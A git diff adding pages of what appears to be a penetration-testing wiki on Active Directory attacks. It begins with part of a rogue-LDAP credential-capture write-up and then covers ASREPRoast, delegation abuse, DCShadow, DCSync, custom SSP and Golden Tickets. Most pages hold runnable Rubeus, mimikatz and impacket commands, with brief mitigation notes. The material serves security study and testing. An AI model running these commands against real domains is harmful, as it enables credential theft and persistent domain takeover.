+modifying entry "olcDatabase={0}config,cn=config"
+```
+
+**Import basic Schemas**
+
+```text
+#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif 
+SASL/EXTERNAL authentication started
+SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
+SASL SSF: 0
+adding new entry "cn=cosine,cn=schema,cn=config"
+
+#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif 
+SASL/EXTERNAL authentication started
+SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
+SASL SSF: 0
+adding new entry "cn=nis,cn=schema,cn=config"
+
+#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif 
+SASL/EXTERNAL authentication started
+SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
+SASL SSF: 0
+adding new entry "cn=inetorgperson,cn=schema,cn=config"
+```
+
+**Set your domain name on LDAP DB.**
+
+```text
+# generate directory manager's password
+#> slappasswd 
+New password:
+Re-enter new password:
+{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
+
+#> vim chdomain.ldif
+# specify the password generated above for "olcRootPW" section
+dn: olcDatabase={1}monitor,cn=config
+changetype: modify
+replace: olcAccess
+olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
+read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none
+
+dn: olcDatabase={2}mdb,cn=config
+changetype: modify
+replace: olcSuffix
+olcSuffix: dc=foo,dc=bar
+
+dn: olcDatabase={2}mdb,cn=config
+changetype: modify
+replace: olcRootDN
+olcRootDN: cn=Manager,dc=foo,dc=bar
+
+dn: olcDatabase={2}mdb,cn=config
+changetype: modify
+add: olcRootPW
+olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
+
+dn: olcDatabase={2}mdb,cn=config
+changetype: modify
+add: olcAccess
+olcAccess: {0}to attrs=userPassword,shadowLastChange by
+dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
+olcAccess: {1}to dn.base="" by * read
+olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read
+
+#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif 
+SASL/EXTERNAL authentication started
+SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
+SASL SSF: 0
+modifying entry "olcDatabase={1}monitor,cn=config"
+
+modifying entry "olcDatabase={2}mdb,cn=config"
+
+modifying entry "olcDatabase={2}mdb,cn=config"
+
+modifying entry "olcDatabase={2}mdb,cn=config"
+
+modifying entry "olcDatabase={2}mdb,cn=config"
+
+#> vim basedomain.ldif
+dn: dc=foo,dc=bar
+objectClass: top
+objectClass: dcObject
+objectclass: organization
+o: Foo Bar
+dc: DC1
+
+dn: cn=Manager,dc=foo,dc=bar
+objectClass: organizationalRole
+cn: Manager
+description: Directory Manager
+
+dn: ou=People,dc=foo,dc=bar
+objectClass: organizationalUnit
+ou: People
+
+dn: ou=Group,dc=foo,dc=bar
+objectClass: organizationalUnit
+ou: Group
+
+#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif 
+Enter LDAP Password: # directory manager's password
+adding new entry "dc=foo,dc=bar"
+
+adding new entry "cn=Manager,dc=foo,dc=bar"
+
+adding new entry "ou=People,dc=foo,dc=bar"
+
+adding new entry "ou=Group,dc=foo,dc=bar"
+```
+
+**Configure LDAP TLS**
+
+**Create and SSL Certificate**
+
+```text
+#> cd /etc/pki/tls/certs 
+#> make server.key 
+umask 77 ; \
+/usr/bin/openssl genrsa -aes128 2048 > server.key
+Generating RSA private key, 2048 bit long modulus
+...
+...
+e is 65537 (0x10001)
+Enter pass phrase: # set passphrase
+Verifying - Enter pass phrase: # confirm
+
+# remove passphrase from private key
+#> openssl rsa -in server.key -out server.key 
+Enter pass phrase for server.key: # input passphrase
+writing RSA key
+
+#> make server.csr 
+umask 77 ; \
+/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
+You are about to be asked to enter information that will be incorporated
+into your certificate request.
+What you are about to enter is what is called a Distinguished Name or a DN.
+There are quite a few fields but you can leave some blank
+For some fields there will be a default value,
+If you enter '.', the field will be left blank.
+-----
+Country Name (2 letter code) [XX]: # country
+State or Province Name (full name) []: # state
+Locality Name (eg, city) [Default City]: # city
+Organization Name (eg, company) [Default Company Ltd]: # company
+Organizational Unit Name (eg, section) []:Foo Bar # department
+Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
+Email Address []:xxx@foo.bar # admin email
+Please enter the following 'extra' attributes
+to be sent with your certificate request
+A challenge password []: # Enter
+An optional company name []: # Enter
+
+#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
+Signature ok
+subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar
+Getting Private key
+```
+
+**Configure Slapd for SSL /TLS**
+
+```text
+#> cp /etc/pki/tls/certs/server.key \
+/etc/pki/tls/certs/server.crt \
+/etc/pki/tls/certs/ca-bundle.crt \
+/etc/openldap/certs/
+
+#> chown ldap. /etc/openldap/certs/server.key \
+/etc/openldap/certs/server.crt \
+/etc/openldap/certs/ca-bundle.crt
+
+#> vim mod_ssl.ldif
+# create new
+ dn: cn=config
+changetype: modify
+add: olcTLSCACertificateFile
+olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
+-
+replace: olcTLSCertificateFile
+olcTLSCertificateFile: /etc/openldap/certs/server.crt
+-
+replace: olcTLSCertificateKeyFile
+olcTLSCertificateKeyFile: /etc/openldap/certs/server.key
+
+#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif 
+SASL/EXTERNAL authentication started
+SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
+SASL SSF: 0
+modifying entry "cn=config"
+```
+
+**Allow LDAP through your local firewall**
+
+```text
+firewall-cmd --add-service={ldap,ldaps}
+```
+
+### The payoff
+
+Once you have installed and configured your LDAP service you can run it with the following command :
+
+> ```text
+> slapd -d 2
+> ```
+
+The screen shot below shows an example of the output when we run the connection test on the printer. As you can see the username and password are passed from the LDAP client to server.
+
+![slapd terminal output containing the username &quot;MyUser&quot; and password &quot;MyPassword&quot;](https://i1.wp.com/grimhacker.com/wp-content/uploads/2018/03/slapd_output.png?resize=474%2C163&ssl=1)
+
+## How bad can it be?
+
+This very much depends on the credentials that have been configured.
+
+If the principle of least privilege is being followed, then you may only get read access to certain elements of active directory. This is often still valuable as you can use that information to formulate further more accurate attacks.
+
+Typically you are likely to get an account in the Domain Users group which may give access to sensitive information or form the prerequisite authentication for other attacks.
+
+Or, like me, you may be rewarded for setting up an LDAP server and be handed a Domain Admin account on a silver platter.
+
diff --git a/windows/active-directory-methodology/asreproast.md b/windows/active-directory-methodology/asreproast.md
new file mode 100644
index 00000000000..37f5c4c461e
--- /dev/null
+++ b/windows/active-directory-methodology/asreproast.md
@@ -0,0 +1,51 @@
+# ASREPRoast
+
+## ASREPRoast
+
+The ASREPRoast attack looks for **users without Kerberos pre-authentication required attribute \(**[_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**\)**_.
+
+That means that anyone can send an AS\_REQ request to the DC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
+
+Furthermore, **no domain account is needed to perform this attack**, only connection to the DC. However, **with a domain account**, a LDAP query can be used to **retrieve users without Kerberos pre-authentication** in the domain. **Otherwise usernames have to be guessed**.
+
+#### Enumerating vulnerable users \(need domain credentials\)
+
+```bash
+Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
+```
+
+#### Request AS\_REP message
+
+{% code title="Using Linux" %}
+```bash
+#Try all the usernames in usernames.txt
+python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
+#Use domain creds to extract targets and target them
+python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
+```
+{% endcode %}
+
+{% code title="Using Windows" %}
+```bash
+.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
+Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
+```
+{% endcode %}
+
+### Cracking
+
+```text
+john --wordlist=passwords_kerb.txt hashes.asreproast
+hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
+```
+
+### Persistence
+
+Force **preauth** not required for a user where you have **GenericAll** permissions \(or permissions to write properties\):
+
+```bash
+Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
+```
+
+\*\*\*\*[**More information about AS-RRP Roasting in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)\*\*\*\*
+
diff --git a/windows/active-directory-methodology/bloodhound.md b/windows/active-directory-methodology/bloodhound.md
new file mode 100644
index 00000000000..d9a88964408
--- /dev/null
+++ b/windows/active-directory-methodology/bloodhound.md
@@ -0,0 +1,94 @@
+# BloodHound
+
+## What is BloodHound
+
+> BloodHound is a single page Javascript web application, built on top of [Linkurious](http://linkurio.us/), compiled with [Electron](http://electron.atom.io/), with a [Neo4j](https://neo4j.com/)database fed by a PowerShell ingestor.
+>
+> BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.
+>
+> BloodHound is developed by [@\_wald0](https://www.twitter.com/_wald0), [@CptJesus](https://twitter.com/CptJesus), and [@harmj0y](https://twitter.com/harmj0y).
+>
+> From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
+
+So, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound)is an amazing tool which can enumerate a domain automatically, save all the information, find possible privilege escalation paths and show all the information using graphs.
+
+Booldhound is composed of 2 main parts: The **ingestors** and the **visualisation application**.  
+The **ingestors** are called SharpHound and are the applications \(PS1 and C\# exe\) used to **enumerate the domain and extract all the information** in a format that the visualisation application will understand.  
+The **visualisation application uses neo4j** to show how all the information is related and to show different ways to escalate privileges in the domain.
+
+## Installation
+
+You can download the [Ingestors from the github](https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors).
+
+To install the visualisation application you will need to install **neo4j** and the **bloodhound application**.  
+The easiest way to do this is just doing:
+
+```text
+apt-get install bloodhound
+```
+
+But, at the time of this writing, this wont install the latest bloodhound, so you may need to **download a pre-compiled bloodhound latest version** from: [https://github.com/BloodHoundAD/BloodHound/releases](https://github.com/BloodHoundAD/BloodHound/releases) or [compile it from the source](https://github.com/BloodHoundAD/BloodHound/wiki/Building-BloodHound-from-source).  
+You can **download the community version of neo4j** from [here](https://neo4j.com/download-center/#community).
+
+**If** you **download** by your own **bloodhound from releases** and n**eo4j from the web** page \(instead of using `apt-get`\) you will need to **decompress** the downloaded **files** to access the executables.
+
+## Visualisation app Execution
+
+After downloading/installing the required applications, lets start them.  
+First of all you need to **start the neo4j database**:
+
+```bash
+./bin/neo4j start
+#or
+service neo4j start
+```
+
+The first time that you start this database you will need to access [http://localhost:7474/browser/](http://localhost:7474/browser/). You will be asked default credentials \(neo4j:neo4j\) and you will be **required to change the password**, so change it and don't forget it.
+
+Now, start the **bloodhound application**:
+
+```bash
+./BloodHound-linux-x64
+#or
+bloodhound
+```
+
+You will be prompted for the database credentials: **neo4j:&lt;Your new password&gt;**
+
+  
+  
+****And bloodhound will be ready to ingest data.
+
+![](../../.gitbook/assets/image%20%28246%29.png)
+
+## Ingestors
+
+### Windows
+
+You can download the [Ingestors from the github](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors).  
+They have several options but if you want to run SharpHound from a PC joined to the domain, using your current user and extract all the information you can do:
+
+```text
+./SharpHound.exe --CollectionMethod All
+Invoke-BloodHound -CollectionMethod All
+```
+
+If you wish to execute SharpHound using different credentials you can create a CMD netonly session and run SharpHound from there:
+
+```text
+runas /netonly /user:domain\user "powershell.exe -exec bypass"
+```
+
+You could also use other parameters like: **DomainController**, **Domain**, **LdapUsername**, **LdapPassword...**
+
+\*\*\*\*[**Learn more about Bloodhound in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)\*\*\*\*
+
+### **Python**
+
+If you have domain credentials you can run a **python bloodhound ingestor from any platform** so you don't need to depend on Windows.  
+Download it from [https://github.com/fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py) or doing `pip3 install bloodhound`
+
+```bash
+bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all
+```
+
diff --git a/windows/active-directory-methodology/constrained-delegation.md b/windows/active-directory-methodology/constrained-delegation.md
new file mode 100644
index 00000000000..77da5514358
--- /dev/null
+++ b/windows/active-directory-methodology/constrained-delegation.md
@@ -0,0 +1,56 @@
+# Constrained Delegation
+
+## Constrained Delegation
+
+Using this a Domain admin can allow 3rd parties to impersonate a user or computer against a service of a machine.
+
+* **Service for User to self \(**_**S4U2self**_**\):** If a **service account** has a _userAccountControl_ value containing [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx) \(T2A4D\), then it can obtains a TGS for itself \(the service\) on behalf of any other user.
+* **Service for User to Proxy\(**_**S4U2proxy**_**\):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.
+
+**Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them.
+
+This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to the **service configured** \(possible **privesc**\).  
+Also, you **won't only have access to the service that user is able to impersonate, but also to any service that uses the same account as the allowed one** \(because the SPN is not being checked, only privileges\). For example, if you have access to **CIFS service** you can also have access to **HOST service**.  
+Moreover, notice that if you have access to **LDAP service on DC**, you will have enough privileges to exploit a **DCSync**.
+
+{% code title="Enumerate from Powerview" %}
+```bash
+Get-DomainUser -TrustedToAuth
+Get-DomainComputer -TrustedToAuth
+```
+{% endcode %}
+
+{% code title="Using kekeo.exe + Mimikatz.exe" %}
+```bash
+#Obtain a TGT for the Constained allowed user
+tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
+#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
+tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
+#Load the TGS in memory
+Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'  
+```
+{% endcode %}
+
+{% code title="Using Rubeus" %}
+```bash
+#Obtain a TGT for the Constained allowed user
+.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
+#Obtain a TGS of the Administrator user to self
+.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
+#Obtain service TGS impersonating Administrator (CIFS)
+.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
+#Impersonate Administrator on different service (HOST)
+.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
+#Load ticket in memory
+.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
+```
+{% endcode %}
+
+### Mitigation
+
+* Disable kerberos delegation where possible
+* Limit DA/Admin logins to specific services
+* Set "Account is sensitive and cannot be delegated" for privileged accounts.
+
+\*\*\*\*[**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)\*\*\*\*
+
diff --git a/windows/active-directory-methodology/custom-ssp.md b/windows/active-directory-methodology/custom-ssp.md
new file mode 100644
index 00000000000..c4a60d0d29a
--- /dev/null
+++ b/windows/active-directory-methodology/custom-ssp.md
@@ -0,0 +1,45 @@
+# Custom SSP
+
+## Custom SSP
+
+[Learn what is a SSP \(Security Support Provider\) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)  
+You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
+
+#### Mimilib
+
+You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**  
+Drop the dll in ****`C:\Windows\System32\`  
+Get a list existing LSA Security Packages:
+
+{% code title="attacker@target" %}
+```bash
+PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
+
+HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
+    Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
+```
+{% endcode %}
+
+Add `mimilib.dll` to the Security Support Provider list \(Security Packages\):
+
+```csharp
+PS C:\> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
+```
+
+And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log`
+
+#### In memory
+
+You can also inject this in memory directly using Mimikatz \(notice that it could be a little bit unstable/not working\):
+
+```csharp
+privilege::debug
+misc::memssp
+```
+
+This won't survive reboots.
+
+### Mitigation
+
+Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
+
diff --git a/windows/active-directory-methodology/dcshadow.md b/windows/active-directory-methodology/dcshadow.md
new file mode 100644
index 00000000000..492dea8f8bd
--- /dev/null
+++ b/windows/active-directory-methodology/dcshadow.md
@@ -0,0 +1,85 @@
+# DCShadow
+
+## DCShadow
+
+It registers a **new Domain Controller** in the AD and uses it to **push attributes** \(SIDHistory, SPNs...\) on specified objects **without** leaving any **logs** regarding the **modifications**. You **need DA** privileges and be inside the **root domain**.  
+Note that if you use wrong data, pretty ugly logs will appear.
+
+To perform the attack you need 2 mimikatz instances. One of them will start the RPC servers with SYSTEM privileges \(you have to indicate here the changes you want to perform\), and the other instance will be used to push the values:
+
+{% code title="mimikatz1 \(RPC servers\)" %}
+```bash
+!+
+!processtoken
+lsadump::dcshadow /object:username /attribute:Description /value="My new description"
+```
+{% endcode %}
+
+{% code title="mimikatz2 \(push\) - Needs DA or similar" %}
+```bash
+lsadump::dcshadow /push
+```
+{% endcode %}
+
+Notice that **`elevate::token`** won't work in mimikatz1 session as that elevated the privileges of the thread, but we need to elevate the **privilege of the process**.  
+You can also select and "LDAP" object: `/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local`
+
+You can push the changes from a DA or from a user with this minimal permissions:
+
+* In the **domain object**:
+  * _DS-Install-Replica_ \(Add/Remove Replica in Domain\)
+  * _DS-Replication-Manage-Topology_ \(Manage Replication Topology\)
+  * _DS-Replication-Synchronize_ \(Replication Synchornization\)
+* The **Sites object** \(and its children\) in the **Configuration container**: 
+  * _CreateChild and DeleteChild_
+* The object of the **computer which is registered as a DC**:
+  * _WriteProperty_ \(Not Write\)
+* The **target object**:
+  * _WriteProperty_ \(Not Write\)
+
+You can use ****[**Set-DCShadowPermissions**](https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1) to give these privileges to an unprivileged user \(notice that this will leave some logs\). This is much more restrictive than having DA privileges.  
+For example: `Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose`  This means that the username _**student1**_ when logged on in the machine _**mcorp-student1**_ has DCShadow permissions over the object _**root1user**_.
+
+### Using DCShadow to create backdoors
+
+{% code title="Set Enterprise Admins in SIDHistory to a user" %}
+```bash
+lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519 
+```
+{% endcode %}
+
+{% code title="Chage PrimaryGroupID \(put user as member of Domain Administrators\)" %}
+```bash
+lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
+```
+{% endcode %}
+
+{% code title="Modify ntSecurityDescriptor of AdminSDHolder \(give Full Control to a user\)" %}
+```bash
+#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
+(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
+#Second, add to the ACE permissions to your user and push it using DCShadow
+lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
+```
+{% endcode %}
+
+### Shadowception - Give DCShadow permissions using DCShadow \(no modified permissions logs\)
+
+We need to append following ACEs with our user's SID at the end:
+
+* On the domain object:
+  * `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`
+  * `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)`
+  * `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`
+* On the attacker computer object: `(A;;WP;;;UserSID)`
+* On the target user object: `(A;;WP;;;UserSID)`
+* On the Sites object in Configuration container: `(A;CI;CCDC;;;UserSID)`
+
+To get the current ACE of an object: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl`
+
+Notice that in this case you need to make **several changes,** not just one. So, in the **mimikatz1 session** \(RPC server\) use the parameter **`/stack` with each change** you want to make. This way, you will only need to **`/push`** one time to perform all the stucked changes in the rouge server.
+
+
+
+\*\*\*\*[**More information about DCShadow in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow)\*\*\*\*
+
diff --git a/windows/active-directory-methodology/dcsync.md b/windows/active-directory-methodology/dcsync.md
new file mode 100644
index 00000000000..3c13169c871
--- /dev/null
+++ b/windows/active-directory-methodology/dcsync.md
@@ -0,0 +1,49 @@
+# DCSync
+
+## DCSync
+
+The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.
+
+**Important Notes about DCSync:**
+
+* The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information** using the Directory Replication Service Remote Protocol \(MS-DRSR\). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
+* By default only **Domain Admins, Enterprise Admins, Administrators, and Domain Controllers** groups have the required privileges.
+* If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text
+
+### Enumeration
+
+Check who has these permissions using `powerview`:
+
+```bash
+Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}
+```
+
+### Exploit
+
+```bash
+Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
+```
+
+### Persistence
+
+If you are a domain admin, you can grant this permissions to any user with the help of `powerview`:
+
+```bash
+Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
+```
+
+Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of \(you should be able to see the names of the privileges inside the "ObjectType" field\):
+
+```bash
+Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
+```
+
+### Mitigation
+
+* Security Event ID 4662 \(Audit Policy for object must be enabled\) – An operation was performed on an object
+* Security Event ID 5136 \(Audit Policy for object must be enabled\) – A directory service object was modified
+* Security Event ID 4670 \(Audit Policy for object must be enabled\) – Permissions on an object were changed
+* AD ACL Scanner - Create and compare create reports of ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
+
+\*\*\*\*[**More information about DCSync in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)\*\*\*\*
+
diff --git a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md b/windows/active-directory-methodology/dsrm-credentials.md
similarity index 82%
rename from src/windows-hardening/active-directory-methodology/dsrm-credentials.md
rename to windows/active-directory-methodology/dsrm-credentials.md
index 754ae91b4a1..08b84a2ff3f 100644
--- a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md
+++ b/windows/active-directory-methodology/dsrm-credentials.md
@@ -1,10 +1,8 @@
 # DSRM Credentials
 
-{{#include ../../banners/hacktricks-training.md}}
+## DSRM Credentials
 
-## Basic Information
-
-There is a **local administrator** account inside each **DC**. Having admin privileges in this machine you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user.\
+There is a **local administrator** account inside each **DC**. Having admin privileges in this machine you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user.  
 First we need to **dump** the **hash** of the **local Administrator** user inside the DC:
 
 ```bash
@@ -19,7 +17,7 @@ New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLog
 Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2  #Change value to "2"
 ```
 
-Then, using a PTH you can **list the content of C$ or even obtain a shell**. Notice that for creating a new powershell session with that hash in memory (for the PTH) **the "domain" used is just the name of the DC machine:**
+Then, using a PTH you can **list the content of C$ or even obtain a shell**. Notice that for creating a new powershell session with that hash in memory \(for the PTH\) **the "domain" used is just the name of the DC machine:**
 
 ```bash
 sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
@@ -29,11 +27,7 @@ ls \\dc-host-name\C$
 
 More info about this in: [https://adsecurity.org/?p=1714](https://adsecurity.org/?p=1714) and [https://adsecurity.org/?p=1785](https://adsecurity.org/?p=1785)
 
-## Mitigation
-
-- Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`
-
-{{#include ../../banners/hacktricks-training.md}}
-
+### Mitigation
 
+* Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`
 
diff --git a/windows/active-directory-methodology/golden-ticket.md b/windows/active-directory-methodology/golden-ticket.md
new file mode 100644
index 00000000000..a154074a43f
--- /dev/null
+++ b/windows/active-directory-methodology/golden-ticket.md
@@ -0,0 +1,36 @@
+# Golden Ticket
+
+## Golden ticket
+
+A valid **TGT as any user** can be created **using the NTLM hash of the krbtgt AD account**. The advantage of forging a TGT instead of TGS is being **able to access any service** \(or machine\) in the domain and the impersonated user.
+
+The **krbtgt** account **NTLM hash** can be **obtained** from the **lsass process** or from the **NTDS.dit file** of any DC in the domain. It is also possible to get that NTLM through a **DCsync attack**, which can be performed either with the [lsadump::dcsync](https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump) module of Mimikatz or the impacket example [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py). Usually, **domain admin privileges or similar are required**, no matter what technique is used.
+
+{% code title="From Linux" %}
+```bash
+python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
+export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
+python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
+```
+{% endcode %}
+
+{% code title="From Windows" %}
+```bash
+mimikatz # kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
+.\Rubeus.exe ptt /ticket:ticket.kirbi
+klist #List tickets in memory
+```
+{% endcode %}
+
+**Once** you have the **golden Ticket injected**, you can access the shared files **\(C$\)**, and execute services and WMI, so you could use **psexec** or **wmiexec** to obtain a shell \(looks like yo can not get a shell via winrm\).
+
+### Mitigation
+
+Golden ticket events ID:
+
+* 4624: Account Logon
+* 4672: Admin Logon
